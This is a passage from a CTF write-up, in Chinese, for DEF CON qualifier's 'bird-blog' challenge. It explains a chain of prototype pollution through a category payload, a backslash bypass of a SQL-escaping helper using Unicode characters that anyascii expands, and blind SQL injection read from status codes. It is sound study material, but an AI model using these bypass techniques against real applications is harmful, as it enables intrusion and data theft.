reply.status(400).send({ error: "Invalid CSRF token format" });
return;
}

const hash = createHash("sha256").update(csrfSalt + ":" + csrfSecret).digest();

if (!timingSafeEqual(Buffer.from(csrfHash, "hex"), hash)) {
reply.status(403).send({ error: "Invalid CSRF token" });
return;
}
}

let csrfSecret = request.cookies._csrf;

if (!csrfSecret) {
csrfSecret = randomBytes(16).toString("hex");
reply.header("Set-Cookie", `_csrf=${csrfSecret}; HttpOnly; SameSite=Strict; Path=/; Max-Age=3600`);
}

const csrfSalt = randomBytes(16).toString("hex");
const csrfHash = createHash("sha256").update(csrfSalt + ":" + csrfSecret).digest("hex");
const csrfToken = `${csrfSalt};${csrfHash}`;
request.csrfToken = csrfToken;
});

來看看 admin 的 /configure

1
2
3
4
5
6
7
8
// bird-blog/app/src/admin.mjs:164
app.post("/configure", async (request, reply) => {
// [...]
await configure(request.body);
// [...]
setTimeout(() => process.exit(2), 500);
});

追進去 configure,看到 navTree[superCategory][subCategory] = []; 的地方可以做 prototype pollution,把值改成 [];而 [] 轉換成 boolean 會是 true。但要注意,在 app.post("/configure") 的最後會把 app restart,讓 prototype pollution 被 reset。這時候可以透過觸發 configure 裡面的 Error,讓 control flow 不會走到那邊。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
export async function configure(rawArgs, adminOnly = false) {
let categories = rawArgs?.categories?.split(",").map((category) => category.trim()).filter((category) => category.length > 0);

// [...]
if (dividerIndex !== -1) {
const superCategory = category.name.slice(0, dividerIndex).trim();
const subCategory = category.name.slice(dividerIndex + 1).trim();

if (Array.isArray(navTree[superCategory])) {
throw new Error(`Invalid category hierarchy: "${superCategory}" is both a category and a super-category`);
}

navTree[superCategory] ??= {};
navTree[superCategory][subCategory] = [];
} else {
// [...]
}
}
// [...]

for (const file of await fs.readdir(configTemplateDir, { recursive: true, withFileTypes: true })) {
if (file.isDirectory()) {
continue;
}

const filePath = path.join(file.parentPath, file.name);
const relativePath = path.relative(configTemplateDir.pathname, filePath);

if (adminOnly && !relativePath.includes("/admin/") && !relativePath.includes("/partials/")) {
continue;
}

await fs.mkdir(new URL(path.dirname(relativePath), templateDir), { recursive: true });

if (relativePath.endsWith(".chbs")) {
const templateContent = await fs.readFile(filePath, "utf-8");
const template = handlebars.compile(templateContent);
const rendered = template(args);
const outputPath = new URL(relativePath.replace(".chbs", ""), templateDir);
await fs.writeFile(outputPath, rendered, "utf-8");
} else {
const outputPath = new URL(relativePath, templateDir);
await fs.copyFile(filePath, outputPath);
}
}
}

configure 的最後面,會根據我們提供的資料套入 template,我們可以藉此寫入 .sql 檔。能用的有 bird-blog/app/config-template/sql/blog/archive.sql.chbs, bird-blog/app/config-template/sql/blog/categories.sql.chbs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# tree -P '*.chbs' config-template
config-template
├── hbs
│ ├── admin
│ │ ├── configure.hbs.chbs
│ │ └── layout.hbs.chbs
│ ├── blog
│ │ └── layout.hbs.chbs
│ └── partials
└── sql
├── admin
└── blog
├── archive.sql.chbs
└── categories.sql.chbs

8 directories, 5 files

categories.sql 會在每次 db.mjs 被 import 的時候被執行。

1
2
3
4
5
6
7
8
// bird-blog/app/src/helpers/db.mjs:27
// Always reload categories, in case the configuration changed
try {
const categoriesSql = new pgp.QueryFile(new URL("blog/categories.sql", sqlDir));
await db.any(categoriesSql);
} catch (err) {
console.error("Error reloading categories:", err);
}

archive.sql 則是在 executeQuery 的時候被執行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// bird-blog/app/src/helpers/db.mjs:37
export async function executeQuery(name, parameters = []) {
let queryFile;

if (queryCache.has(name)) {
queryFile = queryCache.get(name);
} else {
queryFile = new pgp.QueryFile(new URL(`${name}.sql`, sqlDir));
queryCache.set(name, queryFile);
}

const result = await db.any(queryFile, parameters);
return result;
}

archive.sql.chbs 裏面會把我們可控的東西,經過 slugify sqlString 後放進去。

1
2
3
4
5
6
7
8
9
// bird-blog/app/config-template/sql/blog/archive.sql.chbs:51
// [...]
WITH top_categories AS (
VALUES
{{#each topCategories}}
({{ @index }}, {{{ sqlString (slugify name) }}}){{#unless @last}},{{/unless}}
{{/each}}
)
// [...]

sqlString

sqlString 裏面會把字串中的 ' 取代成 escape 後的 ''。但沒有處理 \ 的 case,可以拿來繞。

1
2
3
4
// bird-blog/app/src/helpers/hbs.mjs:9
handlebars.registerHelper("sqlString", function (str) {
return `'${str}'`.replace(/'/g, "''").slice(1, -1);
});

不過正常情況下,PostgresSQL 不會把 \ 當成 escape ' 的東西,除非是在 E'' 裡面。這個 app query db 的時候,使用的是 pgp.QueryFile,他有個 minify 的選項可以開。開了之後會使用 pg-minifypg-minify 會把 \ 當成 escape 的意思,所以只要把 minify 的選項打開就能過。直接用前面的 prototype pollution 就能把選項變 true。另外 pgp.QueryFile 還有一個 debug 選項,打開後如果 sql 檔有改動就會重讀,否則可能都會一直讀到舊的。

1
*__proto__/minify,*__proto__/debug,*__proto__

slugify

slugify 會把 /[^\w\s]/ 的字都移除。所以不能直接用 \

1
2
3
4
5
6
7
8
9
// bird-blog/app/src/helpers/hbs.mjs:13
handlebars.registerHelper("slugify", function (str) {
const slug = slugify(str.replace(/\//g, " "), { lower: true, remove: /[^\w\s]/ });
if (slug.includes("/")) {
// Needs to be a valid URL segment
throw new Error(`Invalid slug "${slug}" generated from "${str}"`);
}
return slug;
});
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// bird-blog/app/src/helpers/slugify.mjs
import anyascii from "any-ascii";

export function slugify(text, options = {}) {
let slug = text.split("").reduce((acc, cur) => {
cur = anyascii(cur);
return acc + cur.replace(options.remove ?? /[^\w\s$*_+~.()'"!\-:@]+/g, "");
}, "");

if (options.trim ?? true) {
slug = slug.trim();
}

slug = slug.replace(/-+/g, "-");
slug = slug.replace(/^-+|-+$/g, "");
slug = slug.replace(/\s+/g, "-");

if (options.lower ?? false) {
slug = slug.toLowerCase();
}

return slug;
}

但注意到他 cur.replace 裏面沒有開 global (/[^\w\s]/g),只會濾掉第一次出現的。且 anyascii 對於某些 unicode,可能把一個字變多個字。所以像是 這種字,就會經過 ⳹ -> \\ -> \,就可以拿到 \ 了。

1
2
3
4
5
6
7
8
9
10
11
⳹ -> \
⸩ -> )
⸨ -> (
ᕯ -> *
‖ -> |
࠲ -> .
≅ -> =
∷ -> :
« -> <
» -> >
⸺ -> -

所以能正常 SQL Injection 了。可以透過 server 回傳 200, 500 的差別,來 leak 資料。所以解了。

1
bbb{we_will_return_to_our_ctf_in_a_minute_but_first_a_word_from_our_sponsors_at_squawkspace:…}
  • Title: DEF CON CTF Qualifier Write-up
  • Author: Ching367436
  • Created at : 2026-05-30 15:12:44
  • Link: https://blog.ching367436.me/def-con-ctf-2026-qual/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments